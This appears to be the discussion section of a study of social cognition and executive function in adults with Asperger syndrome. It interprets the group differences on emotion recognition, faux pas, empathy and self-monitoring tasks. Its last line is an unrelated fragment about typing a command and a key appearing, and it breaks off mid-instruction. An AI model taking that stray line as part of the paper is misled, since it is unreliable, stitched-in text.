The primary goal of this study was to examine the performance of adults with AS on tasks of multiple domains of social cognition, while assessing the influence of EF. The secondary goal was to explore individual variability in adults with AS performance on both the social cognition and EF tasks. Our results suggest that participants with AS have a fundamental deficit in several domains of social cognition. We also found that the AS participants showed a greater number of social cognition measures in which they performed below controls' performance. These deficits were not explained by abnormalities in EF.
Furthermore, our data suggest that a common mechanism underlies the deficits in multiple social cognition domains in the adults with AS. In brief, these participants performed poorly on tasks (TASIT, FPT, EPT) that imply the ability to implicitly infer the intentionality of actions and those that require the integration of mental states (intentions, beliefs, emotions) with contextual information.
This is the first study in adults with AS to explore the effect of EF on social cognition performance. Both AS and control groups were similar regarding executive functioning. Moreover, to control for the effect of EF on performance during social cognition tasks, we conducted covariance analysis adjusted for cognitive flexibility, the only domain in which we found group significant differences. All significant differences in the social cognition measures remained significant. Moreover, we did not find significant correlations between scores on the EF measures with higher variability and those of the social cognition tasks that were different between groups. Because we selected tasks that were designed to assess specifically EF and have been utilized extensively to assess these domains (Partington, 1949; Eriksen and Eriksen, 1974; Case et al., 1982; Gevins and Cutillo, 1993; Burgess and Shallice, 1996; Delis and Kaplan, 2001; Diamond and Kirkham, 2005), we consider that the failure to find significant correlations could not be explained by the lack of the sensitivity of the executive measures. Instead, the lack of significant correlations may be explained by the low variability observed in the EF performance, since both groups had a similar executive functioning and low variability. Consequently, these results indicate that EF do not seem to play a major role in the social cognition impairments of adults with AS.
Deficits in social cognition
We employed an ecological task of contextual inference of emotional states (TASIT) which requires the integration of cues from face, prosody, gesture, and social context to identify the emotions. Consistent with previous reports (Ashwin et al., 2007; Falkmer et al., 2011), our results showed that individuals with AS have difficulty recognizing expressions of disgust. It has been shown that the basal ganglia, in parallel with the insula, are involved in disgust recognition (Calder et al., 2000; Adolphs, 2002; Wang et al., 2003; Ibáñez et al., 2010a,b). Fronto-insular networks seem to be crucial for social cognition (Couto et al., 2012). Individuals with AS show reduced gray matter in the basal ganglia (McAlonan et al., 2002; Nayate et al., 2005). They also show abnormalities in the white matter between the basal ganglia and thalamus, which connects brain areas (amygdala and fusiform gyrus) (McAlonan et al., 2009). Moreover, adults with AS present smaller volumes in the insular cortex (Kosaka et al., 2010). Therefore, the deficits in disgust recognition may be associated with abnormalities in the basal ganglia and the insula.
As previously reported (Ponnet et al., 2004; Spek et al., 2011), no differences between AS individuals and controls were found in ToM as measured by the RMET. Nevertheless, our data showed that the adults with AS performed poorly on the FPT, which is consistent with other studies (Zalla et al., 2009; Spek et al., 2011). In this test, adults with AS failed to identify the faux pas and to understand them as unintentional actions. Furthermore, they had difficulties to understand the emotional impact generated by the faux pas. The discrepancy in the performance between both ToM tests in the AS group can be explained by the features of these tasks. First, the FPT presents social scenarios resembling daily life situations. These tasks that involve real-life social scenarios are more sensitive to detect the ToM deficits of individuals with autism and AS (Klin, 2000). Furthermore, an adequate performance in the FPT involves the capacity to implicitly integrate cognitive inferences about mental states with empathic understanding. This capacity is mediated by the appraisal of contextual clues and relevant social elements provided in the scene information. Conversely, the RMET can be solved using basic and general matching strategies to correctly pair the depicted eyes and emotions. Thus, taken together, the ToM results suggest that adults with AS have difficulty integrating implicit information from the context and using this information to infer the intentionality and the emotional impact of the others' actions.
We employed a more ecologically valid measure of empathy (EPT) than the self-report questionnaires. In this task, the adults with AS showed abnormal empathic concern ratings, punishment ratings, and RTs of discomfort judgments for the intentional pain situations. Consistent with previous findings (Klin, 2000; Zalla et al., 2009), our results indicate that these individuals have difficulty with inferring the intentionality of actions. Information about intentionality allows us to decide how bad or good an action is. The deficit in intention inference may have affected the empathic concern ratings and therefore, the punishment ratings of the adults with AS.
In addition, the adults with AS showed higher levels of PD and a trend toward lower levels of PT compared with controls on the IRI. These results are supported by previous studies (Rogers et al., 2007; Dziobek et al., 2008). The high PD scores indicate greater levels of discomfort in interpersonal settings. This finding may be related to the slower RTs in the AS group for discomfort judgments in the intentional pain situations. Furthermore, individuals with AS show higher levels of anxiety (Hurtig et al., 2009; Lai et al., 2011), which may increase their PD scores. The lower scores on the PT subscale suggest that individuals with AS have difficulty understanding the feelings and perspectives of others, which is congruent with the EPT results.
In summary, the pattern of performance on the empathy measures indicated that adults with AS are impaired when using contextual information to infer the intentions of others. These deficits are reflected by lower ratings of empathic concern and punishment. Moreover, these individuals show higher levels of discomfort in stressful interpersonal situations.
Interestingly, we found that adults with AS performed similarly than control participants on measures of moral judgment. Both groups judged accidental harm as being more permissible than intentional harm. The lack of difference between groups in this task may be due to the fact that information about intention, outcome, and context (scene information) were presented in an explicit way. Therefore, it was possible to understand the moral content using two abstract rules with a linear relationship. For example, if the protagonist had the intention of harming another person (negative intent) and in fact caused harm (negative outcome); then the protagonist's action should be morally forbidden. Our results are in line with previous studies in individuals with AS (Klin, 2000; Izuma et al., 2011) that have shown intact performance or subtle deficits on tasks where explicit information is available. However, a recent study (Moran et al., 2011) employing a similar paradigm reported atypical moral judgment in individuals with AS and HFA. The discrepancy between these results and the current findings may be explained by the sample selection criteria employed in each study. Moran and colleagues included both HFA and AS participants. Individuals with HFA have language delay and usually present impairments in verbal skills (Baron-Cohen et al., 2005; Matson and Wilkins, 2008). These difficulties can affect their performance on the task. Thus, moral judgment in adults with AS needs to be further studied using naturalistic social situations without explicit rules.
On the other hand, this is the first attempt to investigate self-monitoring in social settings in an AS population. As expected, AS participants were less sensitive to the expressive behavior of other individuals, indicating that they had a low capacity for detecting implicit social and interpersonal cues. They also showed a diminished ability to modify self-presentation in social situations, suggesting that they had difficulty with adjusting their behaviors and with navigating novel or challenging social situations. Consistent with this idea, a negative correlation between self-monitoring and measures of social skills has been reported (Furnham and Capon, 1983). Furthermore, the ability to modify self-presentation is negatively correlated with social anxiety (Cramer and Gruman, 2002). Thus, the deficits in self-monitoring in social settings may be related to the lack of social skills and the high levels of anxiety (Hurtig et al., 2009; Lai et al., 2011) experienced by individuals with AS.
Moreover, our results revealed no differences between the AS participants and controls on the SNQ. This finding indicates that social rules knowledge is preserved in adults with AS. In accordance with our data, a study (Zalla et al., 2011) reported that AS and high-functioning individuals with autism are able to detect social rule violations. Furthermore, social norms can be learned in an explicit way. This explicit knowledge can be used by adults with AS to guide their behavior and can act as a compensatory strategy for their social cognition deficits.
Overall, consistent with our hypothesis, the adults with AS showed impairments in several social cognition domains (emotion recognition, ToM, empathy, and self-monitoring in social settings). Specifically, the adults with AS performed poorly on those social cognition tasks (TASIT, FPT, and EPT) that involve an implicit encoding of socially relevant information and the automatic integration of contextual information to solve a given social situation. Conversely, these individuals performed as well as controls in some tasks (RMET, moral judgment task, and SNQ) that had common features. In these tasks the elements of the situation are clearly defined and usually can be solved with relatively abstract and universal rules. This pattern of social cognition performance suggests that one underlying factor may explain the deficits. According to a recently proposed social context network model (Ibañez and Manes, 2012), this factor seems to be the implicit encoding and the integration of contextual information in order to access to the social meaning.
In addition, our results suggest that adults with AS may benefit from the use of explicit information. However, in most real-life situations, the social demands are not explicitly formulated. Social situations involve implicitly inferring the meaning of the circumstance by integrating contextual cues. Therefore, the pattern of deficits presented here may partially explain the difficulties with social interaction that individuals with AS experience in their daily lives.
Adults with AS may use abstract rules to compensate for their impairments in social cognition. Previous reports have shown that individuals with AS have superior abstract reasoning abilities (Hayashi et al., 2008; Soulieres et al., 2011). This strength may contribute to the performance on social cognition tasks that require the use of abstract rules and the integration of explicit information. On the other hand, this superiority in abstract reasoning may not help in social situations that involve implicit social rules and the integration of contextual cues. In these situations, the meaning of social information is less predictable and relies heavily on context, which reduces the chances of inferring the meaning by applying explicit abstract rules.
Variability in the performance of adults with AS
Adults with AS showed heterogeneous performance on several EF and social cognition tasks. These participants obtained mainly subnormal performance among the measures with the largest variability. Furthermore, this intra-individual variability was higher for the performances of social cognition than for the EF tests. The decreased variability of the EF tasks can be explained by the intact or superior fluid intelligence in adults with AS (Hayashi et al., 2008; Soulieres et al., 2011). Fluid intelligence is a major dimension of individual differences and refers to reasoning, abstract though and novel problem-solving ability (Duncan et al., 1995; Gray et al., 2003). Previous studies have suggested that high fluid intelligence is associated with better scores on EF tasks (Gray et al., 2003; Burgess and Braver, 2010) and indirectly related to psychosocial cognition (Huepe et al., 2011).
The current study is the first to explore the intra-individual variability of social cognition measures in adults with AS. Consistent with the group analysis, these patients obtained sub-normal performance on the same tasks (TASIT, FPT, EPT, IRI, and RSMS). Our data indicates that social cognition performance of adults with AS does not follow the same pattern of strengths and weaknesses reported in other cognitive domains (Hill and Bird, 2006; Towgood et al., 2009). Conversely, the social cognition patterns of individuals with AS is characterized by sub-normal performance, suggesting that these deficits are probably the core of the disorder.
As you type this command, you will see that a key will appear in front of you in the given below format:
